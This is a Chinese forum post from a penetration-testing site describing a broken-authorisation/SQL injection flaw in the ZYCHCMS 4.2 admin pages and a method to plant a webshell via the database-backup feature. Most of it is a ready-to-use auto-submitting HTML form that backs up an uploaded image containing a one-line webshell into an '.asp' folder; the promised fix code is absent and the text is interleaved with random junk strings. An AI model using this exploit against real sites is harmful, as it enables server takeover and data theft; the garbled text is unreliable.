中国网络渗透测试联盟

标题: ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell [打印本页]

作者: admin    时间: 2012-9-10 21:09
标题: ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell
1 V- Q& G: G. M" Q8 Q3 E7 F9 m; Y

) o* G/ H, q" a4 k
" @$ `& _* K" ~
& F1 B/ U( H3 i. _0 J9 U3 y' f& Q影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
* a, w2 `: Z3 E# w ①SQL注射漏洞
) t. I  t6 D8 Z. c7 `6 F* A2 U4 Y 漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
+ S9 [1 w6 Q9 V6 n, W1 h  U 漏洞原因:未过滤
% n( L# Y' d) P" o4 P 漏洞代码:% e: S& r& D* h7 s. v
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
7 V2 W, N6 F0 S; f 修复方法:在文件开头加入代码
' B9 M: n3 h! d9 `# ^1 h6 p, d
/ _& i9 H: J- A1 H3 @
3 n0 p$ R# H  C5 |! e6 F) T②后台拿WBSHELL  H5 t( w8 l2 v! V
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。% i/ Q+ [8 t$ h" m
这里在网上找了一个,改了下,将就着用。0 J' h3 n& G3 S2 i# g3 U
以下是代码本地提交代码
8 W3 ^( T3 \. ^' j! n - ^$ A. Y4 g" ^, S% ~0 v

8 Y! G, A( y5 B8 g<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>  t3 M4 Q7 j4 ^* ?. B$ T4 f2 k
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
# a* N- v+ A  ^# \8 l6 c( S9 ? <tr>) Z; ^8 v+ O3 R5 z
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
2 W) b$ y8 O0 F" l </tr>4 k& N4 ^: t, Y' |
<tr>6 w5 v! N% B* B* r: W
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
0 B: N4 D/ v  e; B/ s% J! R2 O </span>
. h: }6 {7 b6 w4 [) F& E% L# b <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >& o3 Y; ?! L( o2 h
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >8 }. v7 P$ [5 t. ]3 L4 w
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
& w# t3 Y% k" _  Z3 L8 t, _) R5 B <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
0 P; |) ]# ~* @5 ~+ t <div align=”left”>
8 {' u2 F5 c7 A$ x <input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
2 T/ `8 b  H: c$ f <!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
3 t0 b! N7 H$ g/ {) w4 i* ~ <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />0 q/ v3 I  B6 R! ~+ ~- m2 e( t  l
</div></td>
% k% k/ H  Z- B! ?# A$ W </tr>
/ w4 i( U* B# h$ r$ P <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
: }; W7 y  H( R+ | <td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
8 G- ^  x  W# V8 [& [ <td class=”td”><div align=”left”>
9 ^9 |0 s# b/ i- [1 B <input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />  \' W6 w2 J3 K$ R
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>3 t6 U' H& q4 O  e
</tr>
% q% H6 X! n" [3 ^% s <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
- t" }7 V% |3 l <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>7 ^( V" j) C& m
<td class=”td”><div align=”left”>
& r9 k( d/ K% j1 k% m; T- n* Y; w <input type=”submit” value=”确定备份” class=”btn”2 u4 X# W. ^- B
</div></td>
+ M: y: e4 V/ i. G% N </tr>
8 L- @/ A% D4 W/ O </table></td></tr></form>& f! w2 \" |5 W9 R7 K
</table>
- m% z/ O" W! I! `. f  ] </td>8 a0 [1 G: ?" Z7 M- K
</tr>+ f3 t5 p5 ]7 W6 q. N
</table>! {' I1 k3 ]" C) Y  @  ~
<script>
9 n- c4 ^. Y  q# {6 y, r document.all.add.submit();
$ F' z! C! K' P( X# r! g  i- [1 ? </script>. G- P4 |* w/ n8 j6 O
* ^" K7 F7 ^2 ~, c
( m: {$ W2 I4 p( q' d8 h( _7 h

: |0 d: Y( w' o( i6 N" b1 D3 H& W$ U9 Y5 w$ A' R( M" q
. j& ?5 k& p6 ^4 [

$ S7 e1 E& T& P8 I# J. f- q) m+ s* e: o3 g6 j1 J6 E

1 \# M* j0 N  f# f* q6 `+ t/ J8 Z. a5 \3 X" V

1 c. e' ]0 M/ K




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2